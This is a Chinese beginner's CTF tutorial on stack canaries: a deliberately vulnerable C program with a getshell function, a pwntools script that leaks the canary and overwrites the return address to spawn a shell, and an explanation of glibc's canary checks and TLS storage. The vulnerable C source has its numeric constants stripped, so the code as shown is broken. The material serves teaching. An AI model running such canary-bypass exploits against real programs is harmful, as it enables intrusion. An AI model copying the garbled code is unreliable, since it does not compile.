PWN菜鸡入门之CANARY探究
看门见码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[];
for(int i=;i<;i++){
read(, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return ;
}
一、函数调用栈
函数调用栈示意图
二、编译为 32bit 程序,开启 NX,ASLR,Canary 保护
gcc -m32 -fno-stack-protector -o printf printf.c //此为关闭canary
Linux在gcc是自动带开启canary的
三、EXP
#!/usr/bin/env python
from pwn import *
context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
get_shell = ELF("./ex2").sym["getshell"]
io.recvuntil("Hello Hacker!\n")
# leak Canary
payload = "A"*100
io.sendline(payload)
io.recvuntil("A"*100)
Canary = u32(io.recv(4))-0xa
log.info("Canary:"+hex(Canary))
# Bypass Canary
payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell)
io.send(payload)
io.recv()
io.interactive()
解释(个人观点):
process载入
发送100个padding
等待接受完发送的100个padding
继续接收canary的值,减去0xa,是为了减去一个换行符,因为在Linux下的换行符大小是0xa
构造payload,先栈溢出的覆盖
发送canary的值以便检查
发送12个padding来覆盖canary的8个字节大小,4个ebp大小
覆盖返回地址以getshell
四、canary实现原理
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28]
mov qword ptr [rbp - ], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+>
call 0x400460 <__stack_chk_fail@plt>
如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while ()
__libc_message (, "*** %s ***: %s terminated\n",
msg, __libc_argv[] ?: "<unknown>");
}
这意味可以通过劫持 __stack_chk_fail的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容 (参见 stack smash)。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数
//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);
_dl_random = NULL;
}
//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
PWN菜鸡入门之CANARY探究的更多相关文章
- PWN菜鸡入门之栈溢出 (2)—— ret2libc与动态链接库的关系
准备知识引用自https://www.freebuf.com/articles/rookie/182894.html 0×01 利用思路 ret2libc 这种攻击方式主要是针对 动态链接(Dynam ...
- PWN菜鸡入门之栈溢出(1)
栈溢出 一.基本概念: 函数调用栈情况见链接 基本准备: bss段可执行检测: gef➤ b main Breakpoint at . gef➤ r Starting program: /mnt/ ...
- PWN菜鸡入门之函数调用栈与栈溢出的联系
一.函数调用栈过程总结 Fig 1. 函数调用发生和结束时调用栈的变化 Fig 2. 将被调用函数的参数压入栈内 Fig 3. 将被调用函数的返回地址压入栈内 Fig 4. 将调用函数的基地址(ebp ...
- PWN 菜鸡入门之 shellcode编写 及exploid-db用法示例
下面我将参考其他资料来一步步示范shellcode的几种编写方式 0x01 系统调用 通过系统调用execve函数返回shell C语言实现: #include<unistd.h> #in ...
- HDU 2064 菜鸡第一次写博客
果然集训就是学长学姐天天传授水铜的动态规划和搜索,今天讲DP由于困意加上面瘫学长"听不懂就是你不行"的呵呵传授,全程梦游.最后面对连入门都算不上的几道动态规划,我的内心一片宁静,甚 ...
- ACM菜鸡退役帖——ACM究竟给了我什么?
这个ACM退役帖,诸多原因(一言难尽...),终于决定在我大三下学期开始的时候写出来.下面说两个重要的原因. 其一是觉得菜鸡的ACM之旅没人会看的,但是新学期开始了,总结一下,只为了更好的出发吧. 其 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(下)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/12/es-code03/ 前提 上篇文章写完了 ES 流程启动的一部分,main 方法都入 ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 启动流程(上)
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/11/es-code02/ 前提 上篇文章写了 ElasticSearch 源码解析 -- ...
- 渣渣菜鸡的 ElasticSearch 源码解析 —— 环境搭建
关注我 转载请务必注明原创地址为:http://www.54tianzhisheng.cn/2018/08/25/es-code01/ 软件环境 1.Intellij Idea:2018.2版本 2. ...
随机推荐
- Qt 的几个核心机制总结之 布局(QWidget可以设置setSizePolicy,而QSizePolicy有Fixed,minimum,maximum,preferred,expanding,ignore等7个属性,还可以横竖分开)
1.Qt布局的作用 Qt的布局是通过布局管理器来实现的,布局管理器负责在父类窗口部件区域构建子窗口部件,使得放置在窗体中的每个窗口部件都有一个适合的大小和位置,并且能够随着应用程序本身的变化而变化从而 ...
- 数学公式的规约(reduce)和简化(simplify)
to simplify notation, 1. 增广(augment) xi=[xi;1],减少一个常数项: 2. 多个求和号 ∥x∥2=xTx 向量 ⇒ 矩阵: 求和号本身也可化为向量矩阵运算: ...
- crossplatform---Nodejs in Visual Studio Code 03.学习Express
1.开始 下载源码:https://github.com/sayar/NodeMVA Express组件:npm install express -g(全局安装) 2.ExpressRest 打开目录 ...
- ListView、TreeView和DataGrid。
原文:ListView.TreeView和DataGrid. 1.ListView. ListView继承自简单的没有特色的ListBox,并使用View属性进行扩展.增加了对基于列显示的支持,并增加 ...
- WPF RichTextBox 禁止换行
原文:WPF RichTextBox 禁止换行 这个问题困扰了好久,进过不断的努力,终于解决了 <RichTextBox Margin="0,44,10,0&quo ...
- C# TCP 通讯
//接收 using System; using System.Collections.Generic;using System.ComponentModel;using System.Data;us ...
- Linux下基于Bluez
硬件:Moto H670 蓝牙耳机 (CSR chip)/ Broadcom v2.0 adapter软件:bluez-4.26 / bluez-gnome-1.8 / linux kernel 2. ...
- HTTP的请求方法一共有9种,有OPTIONS, HEAD, GET, POST等等(消息头有图,十分清楚)
请求方法:指定了客户端想对指定的资源/服务器作何种操作 下面我们介绍HTTP/1.1中可用的请求方法: [GET:获取资源] GET方法用来请求已被URI识别的资源.指定的资源经服务器端解析后 ...
- 使用Newtonsoft.Json输出JSON
安装: Install-Package Newtonsoft.Json 代码: //序列化DataTable DataTable dt = new DataTable(); dt.Columns.Ad ...
- asp.net网站在手机浏览器上全屏显示
前段时间要把asp.net 网站,在手机上全屏浏览,发现总是小小的一块,不能全屏 后来发现 JQuery Mobile 中在开头都用 <meta name="viewport&quo ...
